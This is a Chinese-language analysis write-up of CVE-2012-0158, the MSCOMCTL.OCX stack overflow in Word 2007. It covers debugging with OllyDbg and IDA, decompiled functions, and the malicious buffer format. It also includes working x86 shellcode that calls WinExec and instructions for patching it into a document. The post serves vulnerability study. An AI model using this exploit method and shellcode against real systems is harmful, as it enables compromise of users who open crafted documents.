CVE-2012-0158 分析
CVE-2012-0158 分析&利用
分析思路:通过word文档样本调试分析漏洞触发处
1、实验环境
- WINDOWS 7 SP1 32位系统
- Microsoft office word 2007 (12.0.4518.1014)
- IDA Pro 7.0
- OD吾爱破解专用版
- WinHex
2、下载poc样本
POC样本是使用的是看雪论坛一篇CVE-2012-0158分析文章中提供的POC样本。
下载好了sample.doc之后,使用word 2007打开会弹出一个计算器:
弹出计算器后,word立即关闭。并且大小从原来的134kb变为了12kb,再次打开该文档:
出现警告,继续打开,发现样本再也无法弹出计算器了。这要么是word对其进行了处理,要么就是样本自身进行了”自我廋身“。
因为样本的这个特性,所以每次都只有一次调试分析机会。我提前做好了样本的备份,每次分析都会使用一个bat文件,将样本复制一份来进行分析。从而避免每次都从原网站下载该样本。
3、调试并找到漏洞触发点
既然弹出了计算器,那么猜测调用了WinExec函数。考虑使用OD下API断点。首先打开word 2007,使用OD附加到word 2007上。并执行如下操作:
执行了上图的命令之后就给WinExec函数下了断点,当程序执行调用WinExec函数时将会调试器将会断下。继续运行word 2007,使用它打开sample.doc。OD调试器对WinExec函数下的软件断点触发。此时的堆栈如图显示:
额,卧槽,cmdLine参数居然是"C:\User\pc207\a.exe"。我电脑上什么时候有的这个a.exe啊?于是我跟着这个路径去看,发现居然真他妈的多出了个a.exe!!!,查看其出生日期,妈的不就是刚刚吗???
所以说,这个a.exe应该就是这个sample.doc生出来的。现在大概知道了这个sample.doc运行会在用户目录下生出一个a.exe的计算器程序,并且调用WinExec函数执行它。
继续查看栈,WinExec函数执行完的返回地址为:0x272228,这个地址是很明显的栈地址空间(使用OD查看内存区段分布可得出该结论)。于是可以判断,这是个栈溢出。
那么我们可以看看0x272228的反汇编:
还真是栈溢出的shellcode的样子。
那么怎么知道在执行这段栈中shellcode之前,程序运行在哪个函数中呢?即到底是在哪个函数中发生的栈溢出呢?1、可以对这段栈下写入记录断点,然后慢慢调。2、查看现有堆栈中是否还存留一些返回地址信息。
我运气比较好,这个样本留有一些信息给我。如下图:
返回到MSCMCTL.275c8A0A ,那就跳过去下个断点,重新调试 看看是WinExec的断点先触发,还是MSCMCTL.275c8A0A 的断点先触发。
再次调试,发现并不是我想的那样,是在MSCOMCTL.275c876D中出现的调用的WinExec。但是细心的我发现在没call MSCOMCTL.275c876d之前,栈回溯是可以的,即栈没有被破坏,但是执行了call MSCOMCTL.275c876d之后栈回溯居然被破坏掉了!!!如下图,我转到EBP,发现EBP的值居然为0了:
那么我继续单步走,发现就是在执行call MSCOMCTL.275c876d的这个函数里面,发生的堆栈溢出,并且在最后ret 0x8的时候返回到了0x7ffa4512处(上图ebp下面哪个就是返回地址),所以MSCOMCTL.275c876d执行了类似memcpy的功能,造成了栈溢出。
而0x7ffa4512处不出意外应该就是:jmp esp
好了,再次重新调试,我们在执行call MSCOMCTL.275c876d之前看栈回溯,看看执行call MSCOMCTL.275c876d的函数的名字。
可以看到返回地址是0x275e701a,反汇编窗口跟随到该地址,得到执行call MSCOMCTL.275c876d的函数的名字为:MSCOMCTL.275c89c7
好,现在可以使用我们的神器IDA Pro来分析一下这个函数了。分析模块为C:\windows\system32\MSCOMCTL.OCX 。
4、分析漏洞触发模块及流程
将其用IDA打开,定位到MSCOMCTL.275c89c7函数。F5查看其代码:
int __stdcall sub_275C89C7(int a1, BSTR bstrString)
{
BSTR v2; // ebx
int result; // eax
int v4; // esi
int v5; // [esp+Ch] [ebp-14h]
SIZE_T dwBytes; // [esp+14h] [ebp-Ch]
int v7; // [esp+18h] [ebp-8h]
int v8; // [esp+1Ch] [ebp-4h]
v2 = bstrString;
result = sub_275C876D((int)&v5, bstrString, 0xCu);
if ( result >= 0 )
{
if ( v5 == 1784835907 && dwBytes >= 8 )//大于8溢出
{
v4 = sub_275C876D((int)&v7, v2, dwBytes);//这儿发生的栈溢出
if ( v4 >= 0 )
{
if ( !v7 )
goto LABEL_8;
bstrString = 0;
v4 = sub_275C8A59((UINT)&bstrString, (int)v2);
if ( v4 >= 0 )
{
sub_27585BE7(bstrString);
SysFreeString(bstrString);
LABEL_8:
if ( v8 )
v4 = sub_275C8B2B(a1 + 20, v2);
return v4;
}
}
return v4;
}
result = -2147418113;
}
return result;
}
好,下面我给出打开sample.doc,是上述代码的执行流程:
堆栈示意图:
- 首先执行第12行代码,
result = sub_275C876D((int)&v5, bstrString, 0xCu);
,从执行的结果来看这个函数复制了12个字节的数据到了v5,那么就会dwbytes也会被影响。执行完这句之后,V5 ="Cobjd",dwbytes=0x8282 - sub_275c876d执行成功返回0,执行到第15行,判断v5是否为"Cobjd"且dwbytes是否大于等于8。条件满足!!!
- 继续执行第17行:
v4 = sub_275C876D((int)&v7, v2, dwBytes);
由上述我们可以猜到,sub_275c876D应该是复制dwBytes个字节到v7,即复制0x8282个字节到v7,那么造成了栈溢出,覆盖返回地址。从执行结果来看,v7=v8=ebp=0,返回地址指向了jmp esp的地址。且函数返回0。 - 因为v7=0;所以执行第21行
goto LABEL_8;
- 因为v8=0;所以执行第31行
return v4
- 然后就会jmp esp,开始执行攻击者构造的shellcode了。
你觉得这样就算分析完了吗???不行,老子要来提问题了!!!
问题1:不知道你娃注意到没有该函数前后调用了两次sub_275C876D函数,而且他们的第二个参数都是一样的!都是参数&bstrString。 什么你要杠?第二个sub_275C876D的参数不是&v2吗? 我日,你眼睛瞎了哇!去看第11行!那么按照猜想,第一次复制了12个字节,第二次复制0x8282个字节的时候前12个字节应该也和复制12个字节时一样啊。但是结果是,第二次调sub_275C876D得到的前12个字节并不是"Cobjd"和0x8282。我日,看来sub_275C876D里面还是有点鬼的。没事,老子有IDA pro 7.0 ,虚毛线。上F5!
int __cdecl sub_275C876D(int a1, LPVOID lpMem, SIZE_T dwBytes)
{
LPVOID v3; // ebx
int result; // eax
LPVOID v5; // eax
int v6; // esi
int v7; // [esp+Ch] [ebp-4h]
void *lpMema; // [esp+1Ch] [ebp+Ch] v3 = lpMem;
result = (*(int (__stdcall **)(LPVOID, int *, signed int, _DWORD))(*(_DWORD *)lpMem + 12))(lpMem, &v7, 4, 0);
if ( result >= 0 )
{
if ( v7 == dwBytes )
{
v5 = HeapAlloc(hHeap, 0, dwBytes);
lpMema = v5;
if ( v5 )
{
v6 = (*(int (__stdcall **)(LPVOID, LPVOID, SIZE_T, _DWORD))(*(_DWORD *)v3 + 12))(v3, v5, dwBytes, 0);
if ( v6 >= 0 )
{
qmemcpy((void *)a1, lpMema, dwBytes);
v6 = (*(int (__stdcall **)(LPVOID, void *, SIZE_T, _DWORD))(*(_DWORD *)v3 + 12))(
v3,
&unk_27632368,
((dwBytes + 3) & 0xFFFFFFFC) - dwBytes,
0);
}
HeapFree(hHeap, 0, lpMema);
result = v6;
}
else
{
result = -2147024882;
}
}
else
{
result = -2147418113;
}
}
return result;
}
看到第11行,第20行,第24行那种调用,我就晓得了,这个lpMem即bstrString应该是个类。
我调试了n遍这个函数,我大致说下这个函数的流程。
- 首先,11行调用它这个类的成员函数,从一个buffer中获取前4个字节的值存到局部变量v7中。
- 接着判断这个v7和我们传进来的哪个dwbytes相比较,一样则满足要求继续执行。
- 接着第16行,使用HeapAlloc分配dwbytes这么大的空间v5。
- 分配成功,就又调用它这个类的成员函数(和第11行哪个一样),从结果分析是读取了dwbytes个字节到了刚刚使用HeapAlloc分配的v5中。
- 然后就会执行第23行,qmemcpy拷贝dwbytes个字节的数据到a1,a1即sub_275C876D的第一个参数的地址处。
- 然后第24行处的函数调用(和第11行的函数是一个函数)我没看懂。没啥影响。哦哦,反正要保证第三个参数为0。
- 然后调用HeapFree释放v5,返回函数。
经过一些列分析我终于顿悟了它这个成员函数的功能。它这个类中有一个buffer,以及一个偏移量offset,而这个buffer它是有格式的(经过我的调试得出的结论):
1、所以第一次调用那个成员函数,获取4个字节的数据是长度,然后offset = offset+4
2、判断数据长度是否和sub_275C876D传入的dwbytes一致,一致则继续
3、接着第二次调用哪个成员函数,从offset处获取dwbytes个字节到HeapAllocate获取的缓冲区里面。并offset=offset+dwbytes
4、如果要继续正确读取后面的buffer,那么第三次调用那个成员函数的时候,第三个参数要为0。
我想如果我的猜测正确那么这段buffer就应该是这样的:
但是!我他妈换了几个Hex编辑器,搜"Cobj"都没有搜索到!搜0x8282也没有....结果,他妈的,我灵光一闪,找到了答案。wqnmlgb,数据居然都是用字符这种形式存的。。。。所以你要搜8282,就搜Hex: 38323832
你说坑不坑。。。。。
结果不出所料,果然和我想像的buffer格式一模一样。哈哈哈哈哈哈哈哈。上图:
稍微排列一下:
问题2:那你娃咋个自己写一个sample.doc哇。
emmmm,我就是个初入漏洞分析的菜鸟,这是我调的第二个洞,也是第一个office洞。我不清楚啥子COM,ActiveX,OLE,还有VBS,宏。所以要我自己写一个那是不可能的。技术还不够。所以一不做,二不休,我就用这个sample.doc来做。改一改就行了,弹个计算器的shellcode又不是写不来。下面看我施展我的绝技:偷天换日 神功。
5、漏洞利用
shellcode编写:最基本的东西我不想过多解释,直接上代码:篇幅有限,没做ExitProcess
_asm
{
//int 3
mov eax,fs:[0x30];// peb
mov ebx,[eax+0xc]; //peb->Ldr
mov esi,[ebx+0x14];//peb->Ldr.Inmemorder
lodsd ;//eax="ntdll.dll"
xchg eax,esi;
lodsd ;//eax="kernel32.dll"
mov ebx,[eax+0x10]; //ebx = base address mov edx,[ebx+0x3c]; //DOS->e_ifanew
add edx,ebx; // PE header
mov edx,[edx+0x78];// edx = offset of EAT
add edx,ebx;// EAT mov esi,[edx+0x20]; //Address of Names(RVA)
add esi,ebx ;//Name Table
xor ecx,ecx ;//index=0 Find_index:
inc ecx;
lodsd ;//mov eax,[esi] RVA
add eax,ebx;
cmp dword ptr[eax],0x50746547;//PteG
jnz Find_index ;
cmp dword ptr[eax+0x4],0x41636f72;//Acor
jnz Find_index ;
cmp dword ptr[eax+0x8],0x65726464; //erdd
jnz Find_index;
//get!
mov esi,[edx+0x24] ;//AddressOfNameOrdinals RVA
add esi,ebx ;//Ord Table
mov cx,[esi+ecx*2];//cx = realindex mov esi,[edx+0x1c];//AddressOfFunction RVA
add esi,ebx ;//
dec ecx;// indx-1
mov edx,[esi+ecx*4];
add edx,ebx;//GetProcAddress real address push 0x00636578;//xec
push 0x456E6957;//WinE
push esp;
push ebx;
call edx; push 0;
push 0x636c6163;//calc
mov edi,esp;
push 0;
push edi;
call eax;
提取shellcode,覆盖到原来的sample.doc
自己写个程序来完成这个任务。就是将shellocde 转成字符保存到sample.doc的shellcode处(ebp+10h处)的一个c程序。
完成之后是这个效果:
运行我自己的sample.doc截图如下:
6、总结
这个漏洞是经典的office漏洞,也是经典的栈溢出漏洞。因为没有pdb文件,所以分析起来很吃力,也是第二次分析漏洞。emmm,我感觉我猜测的能力有上了一个台阶。中间有些四川话,可能影响阅读,请不要在意。哦哦,忘了说一句,因为sub_275C876D有个ret 8,所以真正的shellcode应该在ebp+10h处开始。
网上那些分析这个洞的调试符号不晓得哪儿来的,我没找到,但是我还是可以分析。
另外,他们没有分析那个buffer的数据格式,都是直接说那个函数做了复制,但是都没注意到,两次调用都是一样的参数。但是,我看到了这点,我分析出来了。(666,自我鼓励。。)
7、参考资料
1:https://bbs.pediy.com/thread-207638.htm "CVE-2012-0158分析"
CVE-2012-0158 分析的更多相关文章
- SQL server 2012 阻塞分析查询
最近公司的数据库并发有点大,由于CPU不高.内存不高.硬盘正常.网络也正常等等,但系统还是会卡,所以就怀疑是数据库阻塞导致的,于是去查询资料,看书及经过用以下sql观查,经过几天对数据的分析找到原因并 ...
- u-boot.2012.10makefile分析,良心博友汇总
声明:以下内容大部分来自网站博客文章,仅作学习之用1.uboot系列之-----顶层Makefile分析(一)1.u-boot.bin生成过程分析 2.make/makefile中的加号+,减号-和a ...
- 看个AV也中招之cve-2010-2553漏洞分析
试想:某一天,你的基友给你了一个视频文件,号称是陈老师拍的苍老师的老师题材的最新电影.avi,你满心欢喜,在确定文件格式确实为avi格式后,愉快的脱下裤子准备欣赏,打开后却发现什么也没有,而随后你的基 ...
- Table Properties [AX 2012]
Table Properties [AX 2012] 1 out of 2 rated this helpful - Rate this topic Updated: July 20, 2012 Ap ...
- android CVE
本文收集网上android cve的一些分析供后续学习: Android uncovers master-key:android1.6-4.0 由于ZIP格式允许存在两个或以上完全相同的路径,而安卓系 ...
- 家里蹲大学数学杂志 Charleton University Mathematics Journal 官方目录[共七卷493期,6055页]
家里蹲大学数学杂志[官方网站]从由赣南师范大学张祖锦老师于2010年创刊;每年一卷, 自己有空则出版, 没空则搁置, 所以一卷有多期.本杂志至2016年12月31日共7卷493期, 6055页.既然做 ...
- Android安全研究经验谈
安全研究做什么 从攻击角度举例,可以是:对某个模块进行漏洞挖掘的方法,对某个漏洞进行利用的技术,通过逆向工程破解程序.解密数据,对系统或应用进行感染.劫持等破坏安全性的攻击技术等. 而防御上则是:查杀 ...
- 【树形dp】Treasure Hunt I
[ZOJ3626]Treasure Hunt I Time Limit: 2 Seconds Memory Limit: 65536 KB Akiba is a dangerous coun ...
- weblogic-CVE-2020-2551-IIOP反序列化学习记录
CORBA: 具体的对CORBA的介绍安全客这篇文章https://www.anquanke.com/post/id/199227说的很详细,但是完全记住是不可能的,我觉得读完它要弄清以下几个点: 1 ...
- 【转】Android安全研究经验谈
本文转载自:http://www.cnblogs.com/whp2011/archive/2015/01/26/4250875.html 一.安全研究做什么 攻击角度:对某个模块进行漏洞挖掘的方法,对 ...
随机推荐
- 【前端框架系列】浅谈当前基于bootstrap框架的几种主流前端框架
一 概述 当新开发一个项目或产品时,技术选型是一个不可缺少的环节,在软件架构中有着举足轻重的作用,可以这么说,技术选型的好坏直接影响项目或产品的成败优劣,因此,在进行软件架构时,一定要想好技术选型. ...
- Ansible基础认识及安装使用详解(week5_day1_part1)--技术流ken
Ansible简介 ansible是新出现的自动化运维工具,基于Python开发,集合了众多运维工具(puppet.cfengine.chef.func.fabric)的优点,实现了批量系统配置.批量 ...
- Django 系列博客(一)
Django 系列博客(一) 前言 学习了 python 这么久,终于到了Django 框架.这可以说是 python 名气最大的web 框架了,那么从今天开始会开始从 Django框架的安装到使用一 ...
- 前端(二)之 CSS
前端之 CSS 前言 昨天学习了标记式语言,也就是无逻辑语言.了解了网页的骨架是什么构成的,了解了常用标签,两个指令以及转义字符:其中标签可以分为两大类: 一类是根据标签内容可以分类单双标签,单标签指 ...
- Redis 初次见面
目录 Redis 特性 使用场景 初次使用 安装(Linux) 配置 启动 redis 的 3 种方法 使用 redis 客户端 关闭 redis 服务 Redis 版本说明 引用 1 Redis 特 ...
- Win10一周年纪念版,瞧一瞧Linux子系统
Bash Bash是一个命令处理器,通常运行于文本窗口中,并能执行用户直接输入的命令.Bash还能从文件中读取命令,这样的文件称为脚本.和其他Unix shell 一样,它支持文件名替换(通配符匹配) ...
- Java_文件夹拷贝
一.思路 * 文件夹的拷贝 1.递归查找子孙级文件 2.文件复制 文件夹创建 二.代码 package com.ahd.File; import java.io.File; import java.i ...
- Android RecyclerView预览item
参考: Android Tools Attributes listItem 和 Sample Data 的用法 笔记 tools:text TextView可以实现预览,不影响实际的效果 例如: to ...
- Spring Boot 2.0 升级指南
Spring Boot 2.0 升级指南 前言 Spring Boot已经发布2.0有5个月多,多了很多新特性,一些坑也慢慢被填上,最近有空,就把项目中Spring Boot 版本做了升级,顺便整理下 ...
- C#设计模式之十七中介者模式(Mediator Pattern)【行为型】
一.引言 今天我们开始讲“行为型”设计模式的第五个模式,该模式是[中介者模式],英文名称是:Mediator Pattern.还是老套路,先从名字上来看看.“中介者模式”我第一次看到这个名称,我的理解 ...